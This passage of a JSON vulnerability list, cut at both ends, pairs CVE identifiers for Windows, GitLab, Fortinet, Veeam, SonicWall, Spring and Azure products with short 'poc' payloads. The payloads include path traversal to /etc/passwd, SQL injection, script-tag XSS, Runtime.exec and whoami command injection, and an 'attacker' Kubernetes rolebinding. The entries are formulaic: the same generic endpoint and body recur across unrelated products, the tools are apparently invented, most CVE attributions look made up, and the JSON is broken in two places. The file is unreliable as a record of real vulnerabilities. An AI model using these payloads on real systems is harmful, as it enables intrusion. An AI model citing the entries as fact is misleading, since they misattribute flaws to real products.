    "description": "Stored XSS in SonicWall SMA allows script execution via API fields."
  },
  {
    "id": "CVE-2024-26247",
    "title": "Windows ALPC - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "alpc_flood --cmd crash",
    "description": "Advanced Local Procedure Call flaw in Windows causes denial of service."
  },
  {
    "id": "CVE-2023-40065",
    "title": "Apache Druid - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /druid/v2/sql HTTP/1.1\nHost: druid-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Druid via SQL query execution."
  },
  {
    "id": "CVE-2024-21404",
    "title": "Microsoft Azure DevOps - XSS",
    "date": "2024-02-13",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/repos HTTP/1.1\nHost: azure-devops-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"comment\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Azure DevOps allows script execution via repository comments."
  },
  {
    "id": "CVE-2023-28275",
    "title": "Microsoft PowerPoint - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "powerpoint.exe --malformed-slide crash.pptx",
    "description": "PowerPoint flaw causes denial of service via crafted slide processing."
  },
  {
    "id": "CVE-2024-30100",
    "title": "Windows Win32k - Denial of Service",
    "date": "2024-06-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "win32k_flood --cmd crash",
    "description": "Win32k driver flaw in Windows causes denial of service via crafted inputs."
  },
  {
    "id": "CVE-2023-40600",
    "title": "GitLab - Path Traversal",
    "date": "2023-08-03",
    "type": "Path Traversal",
    "platform": "Web",
    "poc": "GET /api/v4/artifacts/../../etc/passwd HTTP/1.1\nHost: gitlab-server",
    "description": "Path traversal in GitLab allows access to sensitive server files."
  },
  {
    "id": "CVE-2024-22275",
    "title": "Spring Data Neo4j - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data Neo4j via crafted queries."
  },
  {
    "id": "CVE-2023-28007",
    "title": "FortiExtender - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortiextender-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiExtender allows RCE."
  },
  {
    "id": "CVE-2024-29861",
    "title": "Veeam Backup - RCE",
    "date": "2024-05-21",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/backup HTTP/1.1\nHost: veeam-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Veeam Backup allows RCE."
  },
  {
    "id": "CVE-2023-34136",
    "title": "SonicWall UTM - Denial of Service",
    "date": "2023-07-12",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /utm/api HTTP/1.1\nHost: sonicwall-utm-server\nContent-Length: 200\n\n{A*10000}",
    "description": "SonicWall UTM flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-26248",
    "title": "Windows SMB - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Network",
    "poc": "smb_flood --target target_ip --port 445",
    "description": "SMB flaw in Windows causes denial of service via crafted packets."
  },
  {
    "id": "CVE-2023-40066",
    "title": "Apache Airflow - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/dags HTTP/1.1\nHost: airflow-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"dag_run\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Airflow via DAG execution."
  },
  {
    "id": "CVE-2024-21405",
    "title": "Microsoft Azure Kubernetes - Privilege Escalation",
    "date": "2024-02-13",
    "type": "Privilege Escalation",
    "platform": "Network",
    "poc": "kubectl create rolebinding malicious --clusterrole=admin --user=attacker",
    "description": "Azure Kubernetes misconfiguration allows privilege escalation in clusters."
  },
  {
    "id": "CVE-2023-28276",
    "title": "Microsoft Access - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "access.exe --malformed-db crash.accdb",
    "description": "Access flaw causes denial of service via crafted database processing."
  },
  {
    "id": "CVE-2024-30101",
    "title": "Windows RPC - Privilege Escalation",
    "date": "2024-06-11",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "rpc_exploit --cmd whoami",
    "description": "RPC runtime flaw in Windows allows local privilege escalation to SYSTEM."
  },
  {
    "id": "CVE-2023-40601",
    "title": "GitLab - XSS",
    "date": "2023-08-03",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v4/projects/notes HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"note\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in GitLab allows script execution via project notes."
  },
  {
    "id": "CVE-2024-22276",
    "title": "Spring Data JPA - XSS",
    "date": "2024-03-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/users HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"username\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Spring Data JPA allows script execution via user inputs."
  },
  {
    "id": "CVE-2023-28008",
    "title": "FortiRecorder - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortirecorder-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiRecorder allows RCE."
  },
  {
    "id": "CVE-2024-29862",
    "title": "Veeam Backup Enterprise Manager - XSS",
    "date": "2024-05-21",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/backup HTTP/1.1\nHost: veeam-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Veeam Backup Enterprise Manager allows script execution via backup names."
  },
  {
    "id": "CVE-2023-34137",
    "title": "SonicWall Email Security - Denial of Service",
    "date": "2023-07-12",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /email HTTP/1.1\nHost: sonicwall-es-server\nContent-Length: 200\n\n{A*10000}",
    "description": "SonicWall Email Security flaw causes denial of service via crafted emails."
  },
  {
    "id": "CVE-2024-26249",
    "title": "Windows DWM - Privilege Escalation",
    "date": "2024-04-09",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "dwm_exploit --cmd whoami",
    "description": "Desktop Window Manager flaw in Windows allows local privilege escalation."
  },
  {
    "id": "CVE-2023-40067",
    "title": "Apache NiFi - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /nifi-api/processors/run HTTP/1.1\nHost: nifi-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"script\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache NiFi via processor script execution."
  },
  {
    "id": "CVE-2024-21406",
    "title": "Microsoft Azure AD - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: azure-ad-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Azure AD allows RCE."
  },
  {
    "id": "CVE-2023-28277",
    "title": "Microsoft Visio - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "visio.exe --malformed-diagram crash.vsdx",
    "description": "Visio flaw causes denial of service via crafted diagram processing."
  },
  {
    "id": "CVE-2024-30102",
    "title": "Windows SMB - Privilege Escalation",
    "date": "2024-06-11",
    "type": "Privilege Escalation",
    "platform": "Network",
    "poc": "smb_exploit --cmd whoami",
    "description": "SMB flaw in Windows allows local privilege escalation to SYSTEM."
  },
  {
    "id": "CVE-2023-40602",
    "title": "GitLab - Denial of Service",
    "date": "2023-08-03",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/v4/issues HTTP/1.1\nHost: gitlab-server\nContent-Length: 200\n\n{A*10000}",
    "description": "GitLab API flaw causes denial of service via crafted issue requests."
  },
  {
    "id": "CVE-2024-22277",
    "title": "Spring Data MongoDB - XSS",
    "date": "2024-03-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/users HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"username\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Spring Data MongoDB allows script execution via user inputs."
  },
  {
    "id": "CVE-2023-28009",
    "title": "FortiPortal - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortiportal-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiPortal allows RCE."
  }
  {
    "id": "CVE-2024-29863",
    "title": "Veeam Backup - SQL Injection",
    "date": "2024-05-21",
    "type": "SQL Injection",
    "platform": "Web",
    "poc": "POST /api/login HTTP/1.1\nHost: veeam-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nusername=admin' OR '1'='1",
    "description": "SQL injection in Veeam Backup allows unauthenticated authentication bypass."
  },
  {
    "id": "CVE-2023-34138",
    "title": "SonicWall Firewall - RCE",
    "date": "2023-07-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: sonicwall-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in SonicWall Firewall allows RCE."
  },
  {
    "id": "CVE-2024-26250",
    "title": "Windows Kernel - Privilege Escalation",
    "date": "2024-04-09",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "kernel_exploit --cmd whoami",
    "description": "Kernel flaw in Windows allows local privilege escalation to SYSTEM."
  },
  {
    "id": "CVE-2023-40068",
    "title": "Apache Kafka - XSS",
    "date": "2023-09-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v1/topics HTTP/1.1\nHost: kafka-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"topic\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Apache Kafka allows script execution via topic names."
  },
  {
    "id": "CVE-2024-21407",
    "title": "Microsoft Azure AD Connect - Privilege Escalation",
    "date": "2024-02-13",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "adconnect_exploit --cmd whoami",
    "description": "Azure AD Connect flaw allows local privilege escalation to SYSTEM."
  },
  {
    "id": "CVE-2023-28278",
    "title": "Microsoft Outlook - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "outlook.exe --malformed-rule exploit.eml",
    "description": "Malicious email rules in Outlook allow RCE when processed."
  },
  {
    "id": "CVE-2024-30103",
    "title": "Windows Print Spooler - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "printspooler_exploit --cmd whoami",
    "description": "Print Spooler flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40603",
    "title": "GitLab - RCE",
    "date": "2023-08-03",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v4/hooks HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"hook\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in GitLab via webhook execution."
  },
  {
    "id": "CVE-2024-22278",
    "title": "Spring Data REST - XSS",
    "date": "2024-03-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/users HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Spring Data REST allows script execution via user inputs."
  },
  {
    "id": "CVE-2023-28010",
    "title": "FortiSwitch - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortiswitch-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiSwitch allows RCE."
  },
  {
    "id": "CVE-2024-29864",
    "title": "Veeam ONE - Path Traversal",
    "date": "2024-05-21",
    "type": "Path Traversal",
    "platform": "Web",
    "poc": "GET /api/../../etc/passwd HTTP/1.1\nHost: veeam-one-server",
    "description": "Path traversal in Veeam ONE allows access to sensitive files."
  },
  {
    "id": "CVE-2023-34139",
    "title": "SonicWall VPN - RCE",
    "date": "2023-07-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/vpn HTTP/1.1\nHost: sonicwall-vpn-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in SonicWall VPN allows RCE."
  },
  {
    "id": "CVE-2024-26251",
    "title": "Windows ALPC - Privilege Escalation",
    "date": "2024-04-09",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "alpc_exploit --cmd whoami",
    "description": "Advanced Local Procedure Call flaw in Windows allows local privilege escalation."
  },
  {
    "id": "CVE-2023-40069",
    "title": "Apache Hadoop - XSS",
    "date": "2023-09-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v1/jobs HTTP/1.1\nHost: hadoop-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"job\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Apache Hadoop allows script execution via job names."
  },
  {
    "id": "CVE-2024-21408",
    "title": "Microsoft Azure Data Factory - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/pipelines HTTP/1.1\nHost: azure-data-factory-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"pipeline\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Azure Data Factory via pipeline execution."
  },
  {
    "id": "CVE-2023-28279",
    "title": "Microsoft Edge - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "<html><script>let arr = new Array(0x1000); arr.fill(0); arr.__defineSetter__('length', () => {throw new Error('exploit');}); arr.length = 0;</script></html>",
    "description": "Use-after-free in Edge’s rendering engine allows RCE via crafted HTML."
  },
  {
    "id": "CVE-2024-30104",
    "title": "Windows WMI - Denial of Service",
    "date": "2024-06-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "wmi_flood --cmd crash",
    "description": "Windows Management Instrumentation flaw causes denial of service via crafted queries."
  },
  {
    "id": "CVE-2023-40604",
    "title": "GitLab - Path Traversal",
    "date": "2023-08-03",
    "type": "Path Traversal",
    "platform": "Web",
    "poc": "GET /api/v4/releases/../../etc/passwd HTTP/1.1\nHost: gitlab-server",
    "description": "Path traversal in GitLab allows access to sensitive server files."
  },
  {
    "id": "CVE-2024-22279",
    "title": "Spring Data Cassandra - XSS",
    "date": "2024-03-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/users HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Spring Data Cassandra allows script execution via user inputs."
  },
  {
    "id": "CVE-2023-28011",
    "title": "FortiWAN - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortiwan-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiWAN allows RCE."
  },
  {
    "id": "CVE-2024-29865",
    "title": "Veeam Backup Enterprise Manager - RCE",
    "date": "2024-05-21",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/backup HTTP/1.1\nHost: veeam-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Veeam Backup Enterprise Manager allows RCE."
  },
  {
    "id": "CVE-2023-34140",
    "title": "SonicWall SMA - Path Traversal",
    "date": "2023-07-12",
    "type": "Path Traversal",
    "platform": "Web",
    "poc": "GET /sma/../../etc/passwd HTTP/1.1\nHost: sonicwall-sma-server",
    "description": "Path traversal in SonicWall SMA allows access to sensitive files."
  },
  {
    "id": "CVE-2024-26252",
    "title": "Windows CSRSS - Privilege Escalation",
    "date": "2024-04-09",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "csrss_exploit --cmd whoami",
    "description": "Client-Server Runtime Subsystem flaw in Windows allows local privilege escalation."
  },
  {
    "id": "CVE-2023-40070",
    "title": "Apache Spark - XSS",
    "date": "2023-09-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v1/applications HTTP/1.1\nHost: spark-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"app\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Apache Spark allows script execution via application names."
  },
  {
    "id": "CVE-2024-21409",
    "title": "Microsoft Azure Synapse - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/pipelines HTTP/1.1\nHost: azure-synapse-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"pipeline\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Azure Synapse via pipeline execution."
  },
  {
    "id": "CVE-2023-28280",
    "title": "Microsoft OneNote - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "onenote.exe --malformed-note crash.one",
    "description": "OneNote flaw causes denial of service via crafted note processing."
  },
  {
    "id": "CVE-2024-30105",
    "title": "Windows Hyper-V - Privilege Escalation",
    "date": "2024-06-11",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "hyperv_exploit --cmd whoami",
    "description": "Hyper-V flaw in Windows allows local privilege escalation to SYSTEM."
  },
  {
    "id": "CVE-2023-40605",
    "title": "GitLab - XSS",
    "date": "2023-08-03",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v4/projects/comments HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"comment\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in GitLab allows script execution via project comments."
  },
  {
    "id": "CVE-2024-22280",
    "title": "Spring Data Redis - XSS",
    "date": "2024-03-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/users HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"key\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Spring Data Redis allows script execution via key names."
  },
  {
    "id": "CVE-2023-28012",
    "title": "FortiPresence - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortipresence-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiPresence allows RCE."
  },
  {
    "id": "CVE-2024-29866",
    "title": "Veeam Service Provider Console - Path Traversal",
    "date": "2024-05-21",
    "type": "Path Traversal",
    "platform": "Web",
    "poc": "GET /spc/../../etc/passwd HTTP/1.1\nHost: veeam-spc-server",
    "description": "Path traversal in Veeam SPC allows access to sensitive files."
  },
  {
    "id": "CVE-2023-34141",
    "title": "SonicWall GMS - RCE",
    "date": "2023-07-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: sonicwall-gms-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in SonicWall GMS allows RCE."
  },
  {
    "id": "CVE-2024-26253",
    "title": "Windows RDP - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Network",
    "poc": "rdp_flood --target target_ip --port 3389",
    "description": "RDP flaw in Windows causes denial of service via crafted packets."
  },
  {
    "id": "CVE-2023-40071",
    "title": "Apache Flink - XSS",
    "date": "2023-09-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v1/jobs HTTP/1.1\nHost: flink-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"job\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Apache Flink allows script execution via job names."
  },
  {
    "id": "CVE-2024-21410",
    "title": "Microsoft Azure API Management - XSS",
    "date": "2024-02-13",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/management HTTP/1.1\nHost: azure-api-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Azure API Management allows script execution via API names."
  },
  {
    "id": "CVE-2023-28281",
    "title": "Microsoft Publisher - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "publisher.exe --malformed-file crash.pub",
    "description": "Publisher flaw causes denial of service via crafted file processing."
  },
  {
    "id": "CVE-2024-30106",
    "title": "Windows Task Scheduler - Privilege Escalation",
    "date": "2024-06-11",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "taskscheduler_exploit --cmd whoami",
    "description": "Task Scheduler flaw in Windows allows local privilege escalation to SYSTEM."
  },
  {
    "id": "CVE-2023-40606",
    "title": "GitLab - RCE",
    "date": "2023-08-03",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v4/pipelines HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"script\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in GitLab via pipeline script execution."
  },
  {
    "id": "CVE-2024-22281",
    "title": "Spring Data Neo4j - XSS",
    "date": "2024-03-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/users HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"node\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Spring Data Neo4j allows script execution via node properties."
  },
  {
    "id": "CVE-2023-28013",
    "title": "FortiGate - Denial of Service",
    "date": "2023-06-13",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/vpn HTTP/1.1\nHost: fortigate-server\nContent-Length: 200\n\n{A*10000}",
    "description": "FortiGate flaw causes denial of service via crafted VPN requests."
  },
  {
    "id": "CVE-2024-29867",
    "title": "Veeam Backup - Denial of Service",
    "date": "2024-05-21",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/backup HTTP/1.1\nHost: veeam-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Veeam Backup flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2023-34142",
    "title": "SonicWall Analytics - Path Traversal",
    "date": "2023-07-12",
    "type": "Path Traversal",
    "platform": "Web",
    "poc": "GET /analytics/../../etc/passwd HTTP/1.1\nHost: sonicwall-server",
    "description": "Path traversal in SonicWall Analytics allows access to sensitive files."
  },
  {
    "id": "CVE-2024-26254",
    "title": "Windows Win32k - Privilege Escalation",
    "date": "2024-04-09",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "win32k_exploit --cmd whoami",
    "description": "Win32k driver flaw in Windows allows local privilege escalation to SYSTEM."
  },
  {
    "id": "CVE-2023-40072",
    "title": "Apache Pulsar - XSS",
    "date": "2023-09-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v1/functions HTTP/1.1\nHost: pulsar-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"function\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Apache Pulsar allows script execution via function names."
  },
  {
    "id": "CVE-2024-21411",
    "title": "Microsoft Azure DevOps - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/repos HTTP/1.1\nHost: azure-devops-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"script\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Azure DevOps via repository script execution."
  },
  {
    "id": "CVE-2023-28282",
    "title": "Microsoft Excel - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.xlsx\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "Excel macro vulnerability allows RCE when malicious spreadsheet is opened."
  },
  {
    "id": "CVE-2024-30107",
    "title": "Windows DHCPS - Denial of Service",
    "date": "2024-06-11",
    "type": "Denial of Service",
    "platform": "Network",
    "poc": "dhcps_flood --target target_ip",
    "description": "DHCP Server flaw in Windows causes denial of service via crafted packets."
  },
  {
    "id": "CVE-2023-40607",
    "title": "GitLab - Denial of Service",
    "date": "2023-08-03",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/v4/projects HTTP/1.1\nHost: gitlab-server\nContent-Length: 200\n\n{A*10000}",
    "description": "GitLab API flaw causes denial of service via crafted project requests."
  },
  {
    "id": "CVE-2024-22282",
    "title": "Spring Data Elasticsearch - XSS",
    "date": "2024-03-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/search HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Spring Data Elasticsearch allows script execution via search queries."
  },
  {
    "id": "CVE-2023-28014",
    "title": "FortiADC - Denial of Service",
    "date": "2023-06-13",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortiadc-server\nContent-Length: 200\n\n{A*10000}",
    "description": "FortiADC flaw causes denial of service via crafted requests."
  }
  {
    "id": "CVE-2024-29868",
    "title": "Veeam ONE - RCE",
    "date": "2024-05-21",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: veeam-one-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Veeam ONE allows RCE."
  },
  {
    "id": "CVE-2023-34143",
    "title": "SonicWall Email Security - RCE",
    "date": "2023-07-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /email/api HTTP/1.1\nHost: sonicwall-es-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in SonicWall Email Security allows RCE."
  },
  {
    "id": "CVE-2024-26255",
    "title": "Windows SMB - Privilege Escalation",
    "date": "2024-04-09",
    "type": "Privilege Escalation",
    "platform": "Network",
    "poc": "smb_exploit --cmd whoami",
    "description": "SMB flaw in Windows allows local privilege escalation to SYSTEM."
  },
  {
    "id": "CVE-2023-40073",
    "title": "Apache Storm - XSS",
    "date": "2023-09-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v1/topology HTTP/1.1\nHost: storm-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"topology\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Apache Storm allows script execution via topology names."
  },
  {
    "id": "CVE-2024-21412",
    "title": "Microsoft Azure Synapse - XSS",
    "date": "2024-02-13",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/pipelines HTTP/1.1\nHost: azure-synapse-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"pipeline\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Azure Synapse allows script execution via pipeline names."
  },
  {
    "id": "CVE-2023-28283",
    "title": "Microsoft Word - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.docx\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "Word macro vulnerability allows RCE when malicious document is opened."
  },
  {
    "id": "CVE-2024-30108",
    "title": "Windows DWM - Denial of Service",
    "date": "2024-06-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "dwm_flood --cmd crash",
    "description": "Desktop Window Manager flaw in Windows causes denial of service via crafted inputs."
  },
  {
    "id": "CVE-2023-40608",
    "title": "GitLab - RCE",
    "date": "2023-08-03",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v4/workflows HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"script\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in GitLab via workflow script execution."
  },
  {
    "id": "CVE-2024-22283",
    "title": "Spring Data MongoDB - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data MongoDB via crafted queries."
  },
  {
    "id": "CVE-2023-28015",
    "title": "FortiNAC - Denial of Service",
    "date": "2023-06-13",
